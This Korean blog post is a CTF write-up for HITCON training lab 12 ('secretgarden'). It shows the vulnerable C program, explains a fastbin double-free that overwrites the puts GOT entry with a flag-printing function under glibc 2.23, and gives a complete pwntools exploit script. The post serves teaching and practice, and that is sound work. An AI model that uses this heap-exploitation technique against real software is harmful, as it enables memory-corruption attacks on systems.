ghkdtlwns987
[hitcon_training] lab 12 (secretgarden) 본문
#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT 60
struct flower{
int vaild ;
char *name ;
char color[24] ;
};
struct flower* flowerlist[100] ;
unsigned int flowercount = 0 ;
void menu(){
puts("");
puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
puts("☆ Baby Secret Garden ☆ ");
puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
puts("");
puts(" 1 . Raise a flower " );
puts(" 2 . Visit the garden ");
puts(" 3 . Remove a flower from the garden");
puts(" 4 . Clean the garden");
puts(" 5 . Leave the garden");
puts("");
printf("Your choice : ");
}
int add(){
struct flower *newflower = NULL ;
char *buf = NULL ;
unsigned size =0;
unsigned index ;
if(flowercount < 100){
newflower = malloc(sizeof(struct flower));
memset(newflower,0,sizeof(struct flower));
printf("Length of the name :");
if(scanf("%u",&size)== EOF) exit(-1);
buf = (char*)malloc(size);
if(!buf){
puts("Alloca error !!");
exit(-1);
}
printf("The name of flower :");
read(0,buf,size);
newflower->name = buf ;
printf("The color of the flower :");
scanf("%23s",newflower->color);
newflower->vaild = 1 ;
for(index = 0 ; index < 100 ; index++ ){
if(!flowerlist[index]){
flowerlist[index] = newflower ;
break ;
}
}
flowercount++ ;
puts("Successful !");
}else{
puts("The garden is overflow");
}
}
int del(){
unsigned int index ;
if(!flowercount){
puts("No flower in the garden");
}else{
printf("Which flower do you want to remove from the garden:");
scanf("%d",&index);
if(index < 0 ||index >= 100 || !flowerlist[index]){
puts("Invalid choice");
return 0 ;
}
(flowerlist[index])->vaild = 0 ;
free((flowerlist[index])->name);
puts("Successful");
}
}
void magic(){
int fd ;
char buffer[100];
fd = open("/home/babysecretgarden/flag",O_RDONLY);
read(fd,buffer,sizeof(buffer));
close(fd);
printf("%s",buffer);
exit(0);
}
void clean(){
unsigned index ;
for(index = 0 ; index < 100 ; index++){
if(flowerlist[index] && (flowerlist[index])->vaild == 0){
free(flowerlist[index]);
flowerlist[index] = NULL;
flowercount--;
}
}
puts("Done!");
}
int visit(){
unsigned index ;
if(!flowercount){
puts("No flower in the garden !");
}else{
for(index = 0 ; index < 100 ; index++){
if(flowerlist[index] && (flowerlist[index])->vaild){
printf("Name of the flower[%u] :%s\n",index,(flowerlist[index])->name);
printf("Color of the flower[%u] :%s\n",index,(flowerlist[index])->color);
}
}
}
}
void handler(int signum){
puts("timeout");
exit(1);
}
void init(){
int fd;
fd = open("/dev/urandom",0);
close(fd);
setvbuf(stdout,0,2,0);
signal(SIGALRM,handler);
alarm(TIMEOUT);
}
int main(){
init();
int choice ;
char buf[10];
while(1){
menu();
read(0,buf,8);
choice = atoi(buf);
switch(choice){
case 1:
add();
break ;
case 2:
visit();
break ;
case 3:
del();
break ;
case 4:
clean();
break ;
case 5:
puts("See you next time.");
exit(0);
default :
puts("Invalid choice");
break ;
}
}
}
코드는 다음과 같다.
코드가 조금 길긴하다. 그래서 분석하는데 애를 좀 먹었다,
근데 분석해보고 나면 별거 없다.
직접해보자!
이 문제같은 경우는 malloc(), free, 를 자유자재로 다룰 수 있다.
또, heap 에 들어가는 변수가 전역변수의 주소가 들어간다.
hticon_training lab12 까지 왔을 정도면 heap 에 대해 어느정도 알고는 있고,
dfb 가 무엇인지 알고 있을거라는 가정하에 문제를 풀도록 하겠다.
Senario.
fastbin_dup 을 이용해 puts_got 를 할당 받고,
puts_got 에 magic() 함수의 주소를 넣어준다.
먼저 2번의 malloc() 호출을 해준다.
할당된 heap 모습.
double_free_bug를 발생
(free(0) , free(1), free(0))
dfb 이후의 heap 모습(heap 에 0x601ffa 를 할당함 (이유는 나중에))
정상적으로 0x601ffa 가 할당되었다.
다음으로 malloc() 을 2차례 진행하게 되면
다음과같이 heap 이 만들어진다.
그리고
이기 때문에 0x601ffa + 22 + p64(magic) 을 넣어주게 되면 성공적으로 Exploit 이 된다.
위와같이 Exploit이 되었던 이유는
첫번째로 할당했던 값(AAAA) 와 (BBBB)가 free(0) free(1) free(0) 이 되면서
A의 값에 값을 쓰는게 가능해 졌다.
dfb 가 발생되어 fakechunk(0x601ffa) 의 값이 AAAA 가 저장되어있던 값에 들어가게 되었다.
그렇다면 AAAA가 저장되어있던 0x205e040 의 주소의 fd 값에 0x601ffa 값이 들어갔을 것이다.
그리고 2번의 malloc() 를 해주어
(dfb 이후 malloc() 을 3번 해주게 되면 chunk[0], chunk[2] 에 같은 주솟값이 들어가기 때문)
(모르겠으면 fastbin_dup 에 대해 다시 공부하고 올 것)
다시 0x601ffa 의 값에 값을 쓰도록 만들어주었다.
그런데 fakechunk에 0x601ffa 의 값을 주었던 이유는
0x60 = 96byte 이다.
그래서 malloc() 으로 0x50 을 주었고(80byte) + metadata(0x10) = 96byte(0x90) 으로 size값에 들어가게 될 것이다.
그런데 여기서 한가지 의문점이 들 수 있다.
0x601ffa 의 값은
오류는 malloc 요청 처리시 fastbin에서 첫 번째 청크를 제거하게 되면, 첫번재 청크의 크기가 fastbin 청크 범위에 속하지 않으면 security check 에 의해서 에러가 발생한다.(malloc(): memory corruption (fast))
그렇다면 0xe168000000000060 인데 어떻게 size값에 들어갈 수 있게 되었는지에 대해 알아보자.
size(0xe168000000000060) -> error???
이는 fastbin 범주에 속하는 size크기가 아니기 때문에 Exploit 에 지장이 있어보일 뿐 더러 오류가 발생할거 같다.
하지만 이는 정상적으로 size라고 인식을 한다.
glibc2.23 에 있는 malloc.c 소스파일을 보게 되면 다음과 같은 코드가 있다.
((((unsigned int) ((((victim)->mchunk_size) & ~((0x1 | 0x2 | 0x4))))) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
위의 check 검증 코드는 size가 unsigned int형을 쓴다. 이 말은 즉 fastchunk size check에는 8byte, 4byte만 사용된다는 것이고 0xe1ffffff00000060같은 값도 check를 통과한다는 것이다.
이를 peda 로 사용해 직접 해보시려고 하는 분이 있으니 이 분의 블로그를 참조해보도록 하자.
마지막으로 exploit 코드는 다음과 같다.
from pwn import*
context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
r = process('./secretgarden')
elf = ELF('./secretgarden')
gdb.attach(r)
magic = elf.symbols['magic']
puts_got = elf.got['puts']
def info():
log.info('x64 Operation')
log.info('magic = '+hex(magic))
log.info('puts_got = '+hex(puts_got))
print('\n')
print('-------------------------')
log.info('add -> main + 109')
log.info('visit -> main + 121')
log.info('del -> main + 133')
log.info('clear -> main + 145')
print('-------------------------')
pause()
def add(length, flower,color):
r.sendlineafter('choice :','1')
r.sendlineafter('name :',str(length))
r.sendafter('The name of flower :',str(flower))
r.sendlineafter('color of the flower :',str(color))
pause()
def visit():
r.sendlineafter('choice:','2')
pause()
def remove(index):
r.sendlineafter('choice :','3')
r.sendlineafter('garden:',str(index))
pause()
def clean():
r.sendlineafter('choice :','4')
pause()
def leave():
r.sendlineafter('choice :','5')
r.recv()
pause()
def main():
info()
add(0x50,'AAAA','AAAA')
add(0x50,'BBBB','BBBB')
remove(0)
remove(1)
remove(0)
fakechunk = p64(0x601ffa)
add(0x50,fakechunk,'DDDD')
add(0x50,'EEEE','EEEE')
add(0x50,'FFFF','FFFF')
payload = ''
payload += 'A'*22
payload += p64(magic)
add(0x50,payload,'GGGG')
pause()
r.interactive()
if __name__ == '__main__':
main()
+ 참고로 hitcon_training lab 11(house of force) 문제는 glibc2.27에서도 풀렸다(노트북)
하지만 lab12 (secretgarden) 문제같은 경우는 이렇게 풀리지 않았다. 그래서 Ubuntu 16.04(glibc2.23) 환경에서 풀게 되었다.
+ lab11에 있는 unsafe unlink 문제같은 경우도 노트북으로 안되서 포기했었는데, glibc2.2.3환경에서 다시한번 풀어보려고 한다.
'hitcon_training' 카테고리의 다른 글
[hitcon_training] LAB 15 (zoo) (0) | 2020.09.24 |
---|---|
[hitcon_traininig] LAB 14 (magicheap) (0) | 2020.09.21 |
[hitcon_training] LAB13 (Extend Chunks) (0) | 2020.09.11 |
[hitcon_training] LAB11 (bamboobox) (0) | 2020.09.06 |